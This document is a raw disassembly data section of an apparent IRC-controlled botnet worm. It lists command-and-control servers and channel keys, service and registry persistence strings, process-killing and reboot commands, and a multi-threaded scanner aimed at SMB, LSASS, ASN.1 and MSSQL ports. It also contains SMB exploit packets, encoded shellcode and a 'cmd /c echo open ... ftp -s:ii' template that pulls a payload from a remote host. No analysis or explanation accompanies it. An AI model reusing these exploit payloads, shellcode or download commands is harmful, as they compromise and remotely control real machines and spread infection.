aHolla_if_ya_he db 'holla.if.ya.hear.me',0
dd 0
aD6f8ead25eeee2 db 'D6F8EAD25EEEE24B2F9A8AC408A6D01B',0
align 10h
dd 0
aBillgates db 'billgates',0
align 10h
aFxc db 'FXC-',0
align 4
aFlushdns1_1_0 db 'FlushDNS1.1.0',0
align 4
aXplrer_exe db 'xplrer.exe',0
align 8
aThisiskey db 'thisiskey',0
align 4
aJ4ck db '##j4ck##',0
align 10h
a6667 db '6667',0
align 4
aDanger_eternal db 'danger.eternal-irc.net',0
align 10h
dd 0
a4212 db '4212',0
align 4
aNetstat_zyns_c db 'netstat.zyns.com',0
align 10h
off_43B900 dd offset off_437100 ; DATA XREF: _8C6BDE73:00437F1Co
align 8
a_?avexception@ db '.?AVexception@@',0
align 10h
off_43B920 dd offset off_437100 ; DATA XREF: _8C6BDE73:00437F3Co
align 8
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 10h
dd 2 dup(0)
off_43B948 dd offset off_437100 ; DATA XREF: _8C6BDE73:00437F5Co
align 10h
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 10h
aInvalidVectorT db 'invalid vector<T> subscript',0
dd 2 dup(0)
aTrue db 'true',0
align 4
aF db '%f',0
align 10h
aFalse db 'false',0
align 4
aSSWasS db '%s = "%s" [was "%s"]',0
align 10h
dd 0
dd 3D207325h, 73252220h, 22h, 5D64255Bh, 73252220h, 203D2022h
dd 22732522h, 25222820h, 292273h, 0
dd 61766328h, 2972h, 7078655Ch, 65726F6Ch, 78652E72h, 65h
dd 61622D20h, 2069h, 63257325h, 7325h, 636F7250h, 33737365h
dd 78654E32h, 74h, 636F7250h, 33737365h, 72694632h, 7473h
dd 0
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0
align 8
aRegisterservic db 'RegisterServiceProcess',0
align 10h
dd 0
dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0
aComspecCSS db '%%comspec%% /c %s %s',0
align 10h
aSSSSSSSSSS db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,'%s',0Dh,0Ah
db '%s',0Dh,'%s',0Dh,0Ah,0
align 10h
aSS_0 db '"%s" %s',0
dd 0
aServicesactive db 'ServicesActive',0 ; DATA XREF: sub_41E8D0+Ao
align 10h
aServDelS_ db 'serv(del) "%s".',0
dd 0
aServAddSAsSS_ db 'serv(add) "%s" as ""%s" %s".',0
align 8
aRegDelS_ db 'reg(del) "%s".',0
align 4
dd 0
aRegAddSAsS_ db 'reg(add) "%s" as "%s".',0
align 8
db ' :',0
align 4
unicode 0, <!>,0
aN db ' -n',0
aS_0 db ' -s',0
asc_43BB68: ; DATA XREF: sub_41ACE0+12Do
; sub_41ACE0+2ACo ...
unicode 0, <:>,0
a@: ; DATA XREF: sub_41F3E0+114o
; sub_41F3E0+1CEo ...
unicode 0, <@>,0
aSSS db '%s %s %s',0Dh,0Ah,0
align 10h
aSSSS00S db '%s %s',0Dh,0Ah
db '%s %s 0 0 :%s',0Dh,0Ah,0
align 4
dd 0
dword_43BB9C dd 252E6425h, 64252E64h, 64252Eh, 0 ; DATA XREF: sub_41D500+4C7o
; sub_421D50+5Do ...
dd 25207325h, 73252073h, 0D732520h, 0Ah
dword_43BBBC dd 0A0D7325h, 0 ; DATA XREF: sub_4249E0+12Do
; sub_4255E0+12Ao ...
dd 25207325h, 253A2073h, 0A0D73h, 0
dd 4255505Bh, 5D43494Ch, 0
dd 4952505Bh, 45544156h, 5Dh, 202Eh, 3A6E616Ch, 20h, 69747075h
dd 656Dh, 74736F68h, 0
dd 6469h, 3Ch, 3Eh, 3D3Dh, 3D21h, 322E3225h, 58h, 203A7325h
dd 7325h, 203A7325h, 6425h, 253A7325h, 64h, 7473696Ch
dd 6E696E65h, 67h, 61747365h, 73696C62h, 646568h, 0
dd 504354h, 2D464544h, 504354h, 0
dd 652Dh, 6C2Dh, 322E255Bh, 2E252D64h, 252D6432h, 25206434h
dd 3A64322Eh, 64322E25h, 322E253Ah, 25205D64h, 73h, 0
dd 73257325h, 0
dd 73257325h, 7325h
byte_43BCA8 db 1 ; DATA XREF: sub_418960r
align 4
dword_43BCAC dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: _294ADE7B:0041FCBBo
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_43BCF8 dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0
; DATA XREF: _294ADE7B:0041FD29o
dword_43BD0C dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: _294ADE7B:0041FD63o
dword_43BD20 dd 3000005h, 10h, 18h, 1, 0Ah dup(0) ; DATA XREF: _294ADE7B:0041FCF9o
dword_43BD58 dd 63257325h, 0 ; DATA XREF: sub_41A020+1E0o
; _294ADE7B:0041DF15o
word_43BD60 dw 72h ; DATA XREF: _294ADE7B:0041A324o
; _294ADE7B:00425C4Dr
align 4
dword_43BD64 dd 30h ; DATA XREF: _294ADE7B:0041A57Co
; sub_422F30+327o
dword_43BD68 dd 3039h ; DATA XREF: _294ADE7B:loc_41A544o
dword_43BD6C dd 383631h ; DATA XREF: _294ADE7B:0041A502o
dword_43BD70 dd 323931h ; DATA XREF: _294ADE7B:loc_41A4CAo
dword_43BD74 dd 3631h ; DATA XREF: _294ADE7B:0041A488o
dword_43BD78 dd 323731h ; DATA XREF: _294ADE7B:loc_41A44Co
dword_43BD7C dd 3031h ; DATA XREF: _294ADE7B:0041A40Ao
dword_43BD80 dd 5C005Ch ; DATA XREF: _294ADE7B:0041A7E7r
; _294ADE7B:0041A957r
word_43BD84 dw 0 ; DATA XREF: _294ADE7B:0041A7F1r
; _294ADE7B:0041A961r
align 4
off_43BD88 dd offset dword_49005C ; DATA XREF: _294ADE7B:0041A7B6r
; _294ADE7B:0041A926r
off_43BD8C dd offset loc_43004F+1 ; DATA XREF: _294ADE7B:0041A7BBr
; _294ADE7B:0041A92Br
dword_43BD90 dd 24h ; DATA XREF: _294ADE7B:0041A7DFr
; _294ADE7B:0041A94Fr
align 8
aDlEdUpdateS db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41BE00+5F5o
align 4
aOpenS_ db 'open %s.',0 ; DATA XREF: sub_41BE00+5BAo
align 4
aDlDone_S_ db 'dl, done. %s .',0 ; DATA XREF: sub_41BE00+567o
align 4
dd 0
asc_43BDCC db 0Dh,0Ah ; DATA XREF: sub_41BE00+48Fo
db 0Dh,0Ah,0
align 4
aHttpBadopen db 'http(badopen)',0 ; DATA XREF: sub_41BE00+3F1o
align 4
aWb db 'wb',0 ; DATA XREF: sub_41BE00+3C0o
; _294ADE7B:0041E257o
align 4
aHttpGetting db 'http(getting)',0 ; DATA XREF: sub_41BE00+3AFo
align 4
aGetSHttp1_0Con db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41BE00+36Do
db 'Connection: Keep-Alive',0Dh,0Ah
db 'User-Agent: Mozilla/4.5',0Dh,0Ah
db 'Host: %s:%d',0Dh,0Ah
db 0Dh,0Ah,0
align 4
dd 4 dup(0)
aHttpBadconnect db 'http(badconnect)',0 ; DATA XREF: sub_41BE00+327o
align 10h
aFtpBaddl db 'ftp(baddl)',0 ; DATA XREF: sub_41BE00+2A3o
align 10h
aFtpGetting db 'ftp(getting)',0 ; DATA XREF: sub_41BE00+25Ao
align 10h
aFtpBadlogin db 'ftp(badlogin)',0 ; DATA XREF: sub_41BE00+224o
align 10h
aFtpBadconnect db 'ftp(badconnect)',0 ; DATA XREF: sub_41BE00+1CEo
dd 0
aSysLogoff db 'sys(logoff)',0 ; DATA XREF: sub_41C890+BEo
dd 0
aSysSd db 'sys(sd)',0 ; DATA XREF: sub_41C890+6Fo
align 10h
aSysReboot db 'sys(reboot)',0 ; DATA XREF: sub_41C890+20o
align 10h
aKpidS db 'kpid: %s',0 ; DATA XREF: sub_41CC30+584o
align 4
aKsS db 'ks: %s',0 ; DATA XREF: sub_41CC30+4AFo
align 4
aD_S db '%d. / %s',0 ; DATA XREF: sub_41CC30+389o
align 10h
aKpS db 'kp: %s',0 ; DATA XREF: sub_41CC30+251o
align 4
aD_PidDS db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41CC30+130o
align 10h
dd 0
a221 db '221 ',0Dh,0Ah,0 ; DATA XREF: sub_41D500+694o
; sub_41D500+6A9o
align 4
a226 db '226 ',0Dh,0Ah,0 ; DATA XREF: sub_41D500:loc_41DB65o
; sub_41D500+677o
align 4
aFtpD_D_D_DDByt db '$ftp -> %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0
; DATA XREF: sub_41D500+62Bo
dd 3 dup(0)
aRb db 'rb',0 ; DATA XREF: sub_41D500+53Fo
align 4
a150 db '150 ',0Dh,0Ah,0 ; DATA XREF: sub_41D500+505o
; sub_41D500+51Ao
align 10h
asc_43BF80: ; DATA XREF: sub_41D500+2EFo
; sub_41D500+33Ao ...
unicode 0, <,>,0
a200 db '200 ',0Dh,0Ah,0 ; DATA XREF: sub_41D500+286o
; sub_41D500+29Bo ...
align 4
a230 db '230 ',0Dh,0Ah,0 ; DATA XREF: sub_41D500+254o
; sub_41D500+269o
align 4
a331 db '331 ',0Dh,0Ah,0 ; DATA XREF: sub_41D500+222o
; sub_41D500+237o
align 4
a220 db '220 ',0Dh,0Ah,0 ; DATA XREF: sub_41D500+1F3o
; sub_41D500+205o
align 4
aFtpD_D_D_DOnD db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41D500+17Eo
align 10h
aDDUseridUnixS db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: _294ADE7B:0041DF6Co
align 10h
dd 0
aBinres db 'BINRES',0 ; DATA XREF: _294ADE7B:0041E28Do
align 4
aUnknown db 'unknown',0 ; DATA XREF: sub_41E560:loc_41E5B5o
; sub_41EB00+C4r ...
align 8
asc_43BFF8: ; DATA XREF: sub_41E6C0+100o
unicode 0, <\>,0
aImagepath db 'ImagePath',0 ; DATA XREF: sub_41E6C0+CBo
; sub_41EDB0+316o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_41E6C0+73o
; sub_41EDB0+2BEo
align 10h
dd 0
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_41E9A0+63o
align 4
aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_41EB00+72o
align 10h
dd 0
aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_41EB00+64o
align 4
dd 0
aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_41EB00+52o
align 4
aPsapi_dll db 'PSAPI.DLL',0 ; DATA XREF: sub_41EB00+20o
; sub_41EB00+34o
align 4
aSS db '[%s] [%s]',0 ; DATA XREF: sub_41EDB0+34Co
align 4
aS????_exe db '[%s] [????.exe]',0 ; DATA XREF: sub_41EDB0+32Do
align 8
aS????_exeUnkno db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_41EDB0+2F3o
align 4
dd 0
aThemes db 'Themes',0 ; DATA XREF: sub_41EDB0+1F6o
align 4
aSrservice db 'srservice',0 ; DATA XREF: sub_41EDB0+1EBo
align 10h
aWuauserv db 'wuauserv',0 ; DATA XREF: sub_41EDB0+1E0o
align 4
aWzcsvc db 'WZCSVC',0 ; DATA XREF: sub_41EDB0+1D5o
align 4
aWinmgmt db 'winmgmt',0 ; DATA XREF: sub_41EDB0+1CAo
align 10h
aWebclient db 'WebClient',0 ; DATA XREF: sub_41EDB0+1BFo
align 4
aW32time db 'W32Time',0 ; DATA XREF: sub_41EDB0+1B4o
align 8
aUpnphost db 'upnphost',0 ; DATA XREF: sub_41EDB0+1A9o
align 4
aUploadmgr db 'uploadmgr',0 ; DATA XREF: sub_41EDB0+19Eo
align 10h
aTrkwks db 'TrkWks',0 ; DATA XREF: sub_41EDB0+193o
align 4
aTermservice db 'TermService',0 ; DATA XREF: sub_41EDB0+188o
align 8
aTapisrv db 'TapiSrv',0 ; DATA XREF: sub_41EDB0+17Do
dd 0
aStisvc db 'stisvc',0 ; DATA XREF: sub_41EDB0+172o
align 4
aSsdpsrv db 'SSDPSRV',0 ; DATA XREF: sub_41EDB0+167o
align 8
aSpooler db 'Spooler',0 ; DATA XREF: sub_41EDB0+15Co
dd 0
aShellhwdetecti db 'ShellHWDetection',0 ; DATA XREF: sub_41EDB0+151o
align 4
aSens db 'SENS',0 ; DATA XREF: sub_41EDB0+146o
align 10h
aSeclogon db 'seclogon',0 ; DATA XREF: sub_41EDB0+13Bo
align 4
aSchedule db 'Schedule',0 ; DATA XREF: sub_41EDB0+130o
align 4
aSamss db 'SamSs',0 ; DATA XREF: sub_41EDB0+125o
align 10h
aRpcss db 'RpcSs',0 ; DATA XREF: sub_41EDB0+11Ao
align 4
aRasman db 'RasMan',0 ; DATA XREF: sub_41EDB0+10Fo
align 10h
aProtectedstora db 'ProtectedStorage',0 ; DATA XREF: sub_41EDB0+104o
align 4
aPolicyagent db 'PolicyAgent',0 ; DATA XREF: sub_41EDB0+F9o
dd 0
aPlugplay db 'PlugPlay',0 ; DATA XREF: sub_41EDB0+EEo
align 10h
aNla db 'Nla',0 ; DATA XREF: sub_41EDB0+E3o
aNetman db 'Netman',0 ; DATA XREF: sub_41EDB0+D8o
align 4
aMessenger db 'Messenger',0 ; DATA XREF: sub_41EDB0+CDo
align 4
aMdm db 'MDM',0 ; DATA XREF: sub_41EDB0+C5o
aLmhosts db 'LmHosts',0 ; DATA XREF: sub_41EDB0+BDo
align 8
aLanmanworkstat db 'lanmanworkstation',0 ; DATA XREF: sub_41EDB0+B5o
align 10h
aLanmanserver db 'lanmanserver',0 ; DATA XREF: sub_41EDB0+ADo
align 10h
aHelpsvc db 'helpsvc',0 ; DATA XREF: sub_41EDB0+A5o
dd 0
aFastuserswitch db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_41EDB0+9Do
align 4
dd 2 dup(0)
aEventsystem db 'EventSystem',0 ; DATA XREF: sub_41EDB0+95o
dd 0
aEventlog db 'Eventlog',0 ; DATA XREF: sub_41EDB0+8Do
align 10h
aErsvc db 'ERSvc',0 ; DATA XREF: sub_41EDB0+85o
align 4
aDnscache db 'Dnscache',0 ; DATA XREF: sub_41EDB0+7Do
align 4
aDmserver db 'dmserver',0 ; DATA XREF: sub_41EDB0+75o
align 10h
aDhcp db 'Dhcp',0 ; DATA XREF: sub_41EDB0+6Do
align 4
aCryptsvc db 'CryptSvc',0 ; DATA XREF: sub_41EDB0+65o
align 4
aBrowser db 'Browser',0 ; DATA XREF: sub_41EDB0+5Do
align 10h
aAudiosrv db 'AudioSrv',0 ; DATA XREF: sub_41EDB0+55o
; sub_41EDB0:loc_41F03Bo
align 4
asc_43C2EC: ; DATA XREF: sub_41F3E0:loc_41F49Fo
; sub_41F3E0+F9o ...
unicode 0, </>,0
aFtp db 'ftp',0 ; DATA XREF: sub_41F3E0+94o
; sub_41F3E0:loc_41F64Eo ...
aHttp db 'http',0 ; DATA XREF: sub_41F3E0+84o
; sub_41F3E0+257o ...
align 10h
aSym db 'sym',0 ; DATA XREF: sub_420EC0+31o
dd 0
dd 79730000h, 6Dh, 6 dup(0)
dword_43C328 dd 0B97h ; DATA XREF: sub_421170+303r
; sub_421170+310o ...
off_43C32C dd offset sub_401A96 ; DATA XREF: _294ADE7B:00422583r
dword_43C330 dd 0 ; DATA XREF: sub_421170+34Ao
; sub_421D20+Dr ...
dd 1, 0
aNet139 db 'net139',0
align 4
dd 656E0000h, 39333174h, 6 dup(0)
dd 8Bh, 401FEBh, 0
dd 1, 0
aNet445 db 'net445',0
align 10h
dd 656E0000h, 35343474h, 6 dup(0)
dd 1BDh, 401FEBh, 0
dd 1, 0
aLsass db 'lsass',0
align 4
dd 736C0000h, 737361h, 6 dup(0)
dd 1BDh, 401C8Ah, 0
dd 1, 0
aAsn445 db 'asn445',0
align 4
dd 73610000h, 3534346Eh, 6 dup(0)
dd 1BDh, 401758h, 0
dd 1, 0
aAsn139 db 'asn139',0
align 4
dd 73610000h, 3933316Eh, 6 dup(0)
dd 8Bh, 401758h, 0
dd 1, 0
dd 636E76h, 0
dd 6E760000h, 63h, 6 dup(0)
dd 170Ch, 4018D4h, 0
dd 1, 0
aMssql db 'mssql',0
align 4
dd 736D0000h, 6C7173h, 6 dup(0)
dd 599h, 401D43h, 0
dd 1, 2Bh dup(0)
aAdvscanSSPortS db 'advscan(%s): %s port scan %s:%d [delay %d sec] [%d min] [%d threa'
; DATA XREF: sub_421170+8F8o
db 'ds]',0
align 10h
dd 3 dup(0)
aSequential db 'sequential',0 ; DATA XREF: sub_421170+8B8o
align 4
dd 0
aRandom db 'random',0 ; DATA XREF: sub_421170+8B1o
align 4
aScanNoIpSpecif db 'scan: no ip specified',0 ; DATA XREF: sub_421170+765o
align 10h
aB db ' -b',0 ; DATA XREF: sub_421170+74Co
aA db ' -a',0 ; DATA XREF: sub_421170+73Co
; sub_421170+7A8o ...
aR db ' -r',0 ; DATA XREF: sub_421170:loc_42189Co
; sub_421170+7EAo
aScanInvalidPor db 'scan: invalid port',0 ; DATA XREF: sub_421170+645o
align 10h
dd 0
aTotalD db ' total: %d',0 ; DATA XREF: sub_421170+397o
align 10h
dd 0
aSD db ' %s: %d,',0 ; DATA XREF: sub_421170+35Fo
align 10h
aScanStats db 'scan: stats:',0 ; DATA XREF: sub_421170+336o
align 10h
aScanTooManyThr db 'scan: too many threads (%s)',0 ; DATA XREF: sub_421170+275o
dd 2 dup(0)
aScanCouldnTSto db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_421170+1DAo
dd 0
aScanStoppedDTh db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_421170+197o
align 4
dd 0
aFtpPortDTotalS db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_421170+140o
align 4
dd 2 dup(0)
aScanNotStarted db 'scan: not started',0 ; DATA XREF: sub_421170+B2o
align 4
dd 0
aScanCipS db 'scan: cip (%s)',0 ; DATA XREF: sub_421170+6Do
align 10h
aSocketClosed_ db 'Socket closed.',0 ; DATA XREF: _294ADE7B:loc_422253o
align 10h
dd 0
aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: _294ADE7B:loc_422232o
align 10h
dd 0
aSocketOpen_ db 'Socket open.',0 ; DATA XREF: _294ADE7B:00422215o
align 4
aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0
; DATA XREF: _294ADE7B:00422185o
dd 2 dup(0)
aSocketOpenFail db 'socket open failed',0 ; DATA XREF: _294ADE7B:0042214Fo
align 4
dd 0
aScanIpSPortDIs db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: _294ADE7B:0042242Ao
align 10h
dd 0
aScanIpSDScanTh db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
; DATA XREF: _294ADE7B:004223C6o
dd 3 dup(0)
aScanFinishedAt db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
; DATA XREF: _294ADE7B:004228C7o
align 10h
dd 3 dup(0)
aScanFailedToSt db '[SCAN]: Failed to start worker thread, error: <%d>.',0
; DATA XREF: _294ADE7B:00422816o
dd 3 dup(0)
aScanSDScanThre db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
; DATA XREF: _294ADE7B:0042275Fo
dd 3 dup(0)
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_422F30+BDo
align 4
dword_43C8D4 dd 10FF8h, 0 ; DATA XREF: sub_422F30+7Bo
dword_43C8DC dd 10FF8h ; DATA XREF: sub_422F30+8Bo
dword_43C8E0 dd 7FFDF020h, 0 ; DATA XREF: sub_422F30+17Fo
dword_43C8E8 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_423580+50o
dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_43C970 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_423580+3Co
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_43C9A0 dd 0 ; DATA XREF: sub_423580+67r
dword_43C9A4 dd 800000D4h ; DATA XREF: sub_423580+6Fr
dd 0
dword_43C9AC dd 66575653h, 80EC81h, 0EDE8E689h, 0FF000000h, 12096836h
; DATA XREF: _294ADE7B:00423795o
dd 0F7E863D6h, 89000000h, 0A2E80846h, 0FF000000h, 6B680476h
dd 0E8CA2BD0h, 0E2h, 0E80C4689h, 3Fh, 680476FFh, 4C0297FAh
dd 0CDE8h, 68DB3100h, 410h, 89D0FF53h, 768B56C3h, 0B9C78910h
dd 410h, 315EA4F3h, 505050C0h, 0FF505053h, 468B0C56h, 0C4816608h
dd 5E5F0080h, 60E0FF5Bh, 23E8h, 24448B00h, 7C588D0Ch, 53C4383h
dd 284381h, 81000010h, 0F0002863h, 48BFFFFh, 14C48324h
dd 0C3C03150h, 0FF64D231h, 22896432h, 90B8DB31h, 31429042h
dd 8902B1C9h, 74AFF3DFh, 0F3EB4303h, 64107E89h, 6158028Fh
dd 20BF60C3h, 8B7FFDF0h, 8468B1Fh, 7F8B0789h, 78C781F8h
dd 89000001h, 741939F9h, 0EB098B04h, 39FA89F8h, 574045Ah
dd 0EB04528Bh, 891189F6h, 43C6044Ah, 0C36101FDh, 0FDF00CA1h
dd 1C408B7Fh, 8908588Bh, 8B008B1Eh, 46890840h, 8B60C304h
dd 8B28246Ch, 548B3C45h, 0EA017805h, 8B184A8Bh, 0EB01205Ah
dd 8B4938E3h, 0EE018B34h, 0C031FF31h, 0E038ACFCh, 0CFC10774h
dd 0EBC7010Dh, 247C3BF4h, 8BE17524h, 0EB01245Ah, 4B0C8B66h
dd 11C5A8Bh, 8B048BEBh, 4489E801h, 0C2611C24h, 0FEEB0008h
dd 0
dword_43CB14 dd 0F254C481h, 0E8FCFFFFh, 46h, 8B3C458Bh, 178057Ch, 184F8BEFh
; DATA XREF: _294ADE7B:0042372Eo
dd 1205F8Bh, 492EE3EBh, 18B348Bh, 99C031EEh, 74C084ACh
dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h
dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h
dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h
dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h
dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh
dd 25h dup(0)
dword_43CC38 dd 23h ; DATA XREF: sub_422E80+1Do
dword_43CC3C dd 60h ; DATA XREF: sub_422F30+38Do
dword_43CC40 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_422F30+35Ao
dword_43CC4C dd 0A1h ; DATA XREF: sub_422F30+2F4o
dword_43CC50 dd 3 ; DATA XREF: sub_422F30+28Ao
aCccc db 'CCCC',0 ; DATA XREF: sub_422F30+16Do
align 4
dword_43CC5C dd 909006EBh, 90909090h, 0 ; DATA XREF: sub_422F30+100o
aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>'
; DATA XREF: _294ADE7B:00423770o
; sub_4255E0+CFo
db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &'
db '%s',0Dh,0Ah,0
align 10h
dd 8 dup(0)
dd 4B5B10EBh, 0B966C933h, 34800125h, 0FAE2990Bh, 0EBE805EBh
dd 70FFFFFFh, 99999962h, 0A938FDC6h, 12999999h, 0E91295D9h
dd 0F1123485h, 0F36E1291h, 271C09Dh, 7B999999h, 0ABAAF160h
dd 0EEF19999h, 0CDC6ABEAh, 71128F66h, 71C09DF3h, 9999991Bh
dd 7518607Bh, 99999809h, 9898F1CDh, 0CF669999h, 0C9C9C989h
dd 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h, 0F1989999h, 4B9D999Bh
dd 89F35512h, 0CF66CAC8h, 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh
dd 0CD751AA9h, 0F3BDA514h, 7B32C08Ch, 0BDDD5F64h, 0DD67DD89h
dd 0C510A4BDh, 0C510D1BDh, 0C510D5BDh, 0DD14C9BDh, 0C9CD89BDh
dd 0F3C8C8C8h, 66C8C898h, 66C8A9EFh, 55129DCFh, 0A86666F3h
dd 0CA91CF66h, 6685CF66h, 0CFC895CFh, 12A5DC12h, 9AE1B1CDh
dd 0EB12CB4Ch, 0AA6C9AB9h, 34D8D050h, 42AA5C9Ah, 0A3892796h
dd 5891ED4Fh, 439A9452h, 0A26872D9h, 0C37EEC86h, 9ABDC312h
dd 9512FF44h, 85C312D2h, 9D12449Ah, 325C9A12h, 715AC0C7h
dd 66666699h, 7597D717h, 8F2A67EBh, 579C4034h, 0F9795776h
dd 0A2657452h, 346C9040h, 0F9336075h, 0E05FE07Eh, 0
dword_43CE50 dd 4A5A10EBh, 0B966C933h, 3480017Dh, 0FAE2990Ah, 0EBE805EBh
; DATA XREF: sub_423DF0+12Bo
; sub_423DF0+135o ...
dd 70FFFFFFh, 99999895h, 0A938FDC3h, 12999999h, 0E91295D9h
dd 0D9123485h, 12411291h, 0ED12A5EAh, 6A9AE187h, 9AB9E712h
dd 8DD71262h, 0CECF74AAh, 9AA612C8h, 0F36B1262h, 3F6AC097h
dd 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh, 125412C7h, 5A9ABDDFh
dd 589A7848h, 12FF50AAh, 85DF1291h, 78585A9Ah, 12589A9Bh
dd 125A9A99h, 1A6E1263h, 4912975Fh, 71C09AF3h, 9999991Eh
dd 0CB945F1Ah, 65CE66CFh, 0F34112C3h, 0ED71C09Ch, 0C9999999h
dd 0F3C9C9C9h, 669BF398h, 411275CEh, 999B9E5Eh
word_43CF00 dw 4B9Dh ; DATA XREF: sub_423DF0+105w
dw 59AAh
dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh, 66CAC9C9h
dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h, 10627B17h
dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h
dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh
dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h
dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66677671h
dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh
dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h
dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh
dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh
dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh
dd 99EDFCF2h, 0
dword_43CFE8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: _294ADE7B:00424452o
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWor_0 db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_43D074 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: _294ADE7B:00424487o
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 10h
dword_43D120 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: _294ADE7B:004244B6o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_43D200 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_423DF0+5Do
